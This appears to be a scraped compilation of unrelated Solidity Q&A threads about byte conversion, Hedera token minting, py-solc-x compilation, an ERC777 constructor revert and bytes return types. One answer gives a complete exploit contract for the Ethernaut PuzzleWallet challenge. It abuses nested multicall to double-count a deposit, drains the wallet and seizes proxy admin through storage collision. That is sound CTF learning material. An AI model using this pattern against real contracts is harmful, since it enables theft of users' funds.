I am converting this string to bytes
0 ICS 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 50000000000000000000 10 56500000000000000000 6500000000000000000
but it won't convert. I am using this code
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract helper {
function toStr(bytes memory byts) public pure returns (string memory) {
return string(byts);
}
function toBytes(string memory byts) public pure returns (bytes memory) {
return bytes(byts);
}
}
when ever i call the toBytes method this error pops up
call to helper.toStr errored: Error encoding arguments: Error: invalid arrayify value (argument="value", value="0 ICS 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 50000000000000000000 10 56500000000000000000 6500000000000000000", code=INVALID_ARGUMENT, version=bytes/5.5.0)
Related
Error:
Invalid type for argument in function call. Invalid implicit conversion from string storage ref to bytes memory[] memory requested.
Code:
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "./hip-206/HederaTokenService.sol";
import "./hip-206/HederaResponseCodes.sol";
contract Mint is HederaTokenService{
address tokenAddress
string public uri = "abc"
function mint(uint64 _amount) external {
(
int256 response,
uint64 newTotalSupply,
) = HederaTokenService.mintToken(tokenAddress, _amount, uri);
if (response != HederaResponseCodes.SUCCESS) {
revert("Mint Failed");
}
The issue arrises when I try to call the function HederaTokenService.mintToken because it expects the uri to be a bytes memory[] memory. Not sure how to convert it.
The following is the function of mintToken:
/// Mints an amount of the token to the defined treasury account
/// #param token The token for which to mint tokens. If token does not exist, transaction results in
/// INVALID_TOKEN_ID
/// #param amount Applicable to tokens of type FUNGIBLE_COMMON. The amount to mint to the Treasury Account.
/// Amount must be a positive non-zero number represented in the lowest denomination of the
/// token. The new supply must be lower than 2^63.
/// #param metadata Applicable to tokens of type NON_FUNGIBLE_UNIQUE. A list of metadata that are being created.
/// Maximum allowed size of each metadata is 100 bytes
/// #return responseCode The response code for the status of the request. SUCCESS is 22.
/// #return newTotalSupply The new supply of tokens. For NFTs it is the total count of NFTs
/// #return serialNumbers If the token is an NFT the newly generate serial numbers, otherwise empty.
function mintToken(address token, uint64 amount, bytes[] memory metadata) internal
returns (int responseCode, uint64 newTotalSupply, int64[] memory serialNumbers)
{
(bool success, bytes memory result) = precompileAddress.call(
abi.encodeWithSelector(IHederaTokenService.mintToken.selector,
token, amount, metadata));
(responseCode, newTotalSupply, serialNumbers) =
success
? abi.decode(result, (int32, uint64, int64[]))
: (HederaResponseCodes.UNKNOWN, 0, new int64[](0));
}
Just casting it works for me:
bytes memory var = bytes(<storage string>);
Given Solidity ^0.8.13 file X.sol, contains an interface of contract Y and contract X
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface YI{
// This is the interface of contract Y
function hello() external payable;
}
contract X{
YI public targetContract;
constructor(address _target) {
targetContract = YI(_target);
}
}
and the compile code:
from web3 import Web3
import solcx # type: ignore
from typing import Any
# run the line below to install the compiler -> only once is needed.
# solcx.install_solc(version='latest')
def _compile(file_name: str) -> Any:
# set the version
solcx.set_solc_version('0.8.13')
# compile
compiled_sol = solcx.compile_files(
[file_name], output_values=['abi', 'bin'])
# retrieve the contract interface
contract_id, contract_interface = compiled_sol.popitem()
return contract_interface['bin'], contract_interface['abi']
bytecode, abi = _compile("X.sol")
the bytecode returns as empty string instead of bytes, any hint what am I missing?
I use python py-solc-x
As part of the PuzzleWallet challenge from Ethernaut, I am looking to call this method of an external contract from my contract:
function multicall(bytes[] calldata data) external payable onlyWhitelisted
More specifically, I am trying to call with a recursive call.
multidata
________|________
| |
multidata multidata
| |
deposit deposit
I am using abi.encodeWithSignature method but it looks like Solidity doesn't allow Nested dynamic arrays not implemented here.:
bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");
Any idea on how you could create an array of bytes which would contain bytes?
Add "pragma experimental ABIEncoderV2;".
2.the follow is my solution For your reference.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PuzzleWallet.sol";
contract Exploit{
PuzzleProxy public proxy;
constructor(PuzzleProxy _proxy) public payable{
require(msg.value == 0.001 ether, "incorrect msg.value");
proxy = _proxy;
proxy.proposeNewAdmin(address(this));
PuzzleWallet wallet = PuzzleWallet(address(proxy));
wallet.addToWhitelist(address(this));
bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory data1 = new bytes[](1);
data1[0] = data;
bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
bytes[] memory data3 = new bytes[](2);
data3[0] = data2;
data3[1] = data2;
wallet.multicall{value:0.001 ether}(data3);
uint256 balance = wallet.balances(address(this));
require(balance == 0.002 ether, "unexpected balance");
wallet.execute(msg.sender, balance, new bytes(0));
wallet.setMaxBalance(uint256(uint160(address(this))));
require(proxy.admin() == address(this), "fail to exploit");
}
}
My contract .sol file looks like this:
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "#openzeppelin/contracts/token/ERC777/ERC777.sol";
contract ERC777MainToken is ERC777{
constructor(address[] memory defaultOperators) ERC777("COIN", "COIN", defaultOperators) { }
}
And the migration looks like this:
const ERC777MainToken = artifacts.require("ERC777MainToken");
module.exports = async function(_deployer) {
const mainToken = await _deployer.deploy(ERC777MainToken, ["0x5d95F05Dd72A5cB9ea2ee2DC271B03A41C933Cad"])
};
On truffle migrate I get the following error:
"ERC777MainToken" hit a require or revert statement somewhere in its constructor. Try:
* Verifying that your constructor params satisfy all require conditions.
* Adding reason strings to your require statements.
at /usr/local/lib/node_modules/truffle/build/webpack:/packages/deployer/src/deployment.js:365:1
at processTicksAndRejections (internal/process/task_queues.js:93:5)
at Migration._deploy (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/Migration.js:74:1)
at Migration._load (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/Migration.js:61:1)
at Migration.run (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/Migration.js:212:1)
at Object.runMigrations (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/index.js:150:1)
at Object.runFrom (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/index.js:110:1)
at Object.runAll (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/index.js:114:1)
at Object.run (/usr/local/lib/node_modules/truffle/build/webpack:/packages/migrate/index.js:79:1)
at runMigrations (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/commands/migrate.js:263:1)
at Object.run (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/commands/migrate.js:228:1)
at Command.run (/usr/local/lib/node_modules/truffle/build/webpack:/packages/core/lib/command.js:136:1)
Any Ideas why? I have check every constructor and no one has any require conditions.
I find the problem. The ERC777 contract from open zeppelin has an hardcoded memeber _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24) which is the global ERC1820 Registry for the main net but since I am on local net this address is at most nothing.
contract ERC777 is Context, IERC777, IERC20 {
using Address for address;
IERC1820Registry constant internal _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
....
}
And the constructor is tring to access the contract on this address:
constructor(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
But since this address on the local net might be empty and 100% is not what it should be the transaction is reverted.
If in your code you have a require or revert statement in your contract, add an error message like this: require(condition, errorMessage); or revert (errorMessage);
If we have the following code:
pragma solidity >= 0.5;
contract stringsContract {
function takesTwo(string memory str, uint idx) public pure returns (bytes memory) {
bytes memory bytesStr = bytes(str);
return bytesStr[idx];
}
}
Why do we get TypeError return argument bytes1 is not explicitly convertible to expected type (type of first return variable bytes memory).
The fix was to change bytes memory to bytes:
contract stringsContract {
function takesTwo(string memory str, uint idx) public pure returns (byte) {
bytes memory bytesStr = bytes(str);
return bytesStr[idx];
}
}
Nevertheless, I'm still curious about the reason of the compilation error. Any thoughts?
Variable of type 'bytes' and 'string' are special arrays. In first code snippet you are returning an array which is not yet possible in Solidity yet.
You can find docs: https://solidity.readthedocs.io/en/develop/types.html#bytes-and-strings-as-arrays
When you return in solidity the syntax is like (value_type value_name: optional), what you tried returning bytes which is an array and with name memory, memory itself is spacial keyword in solidity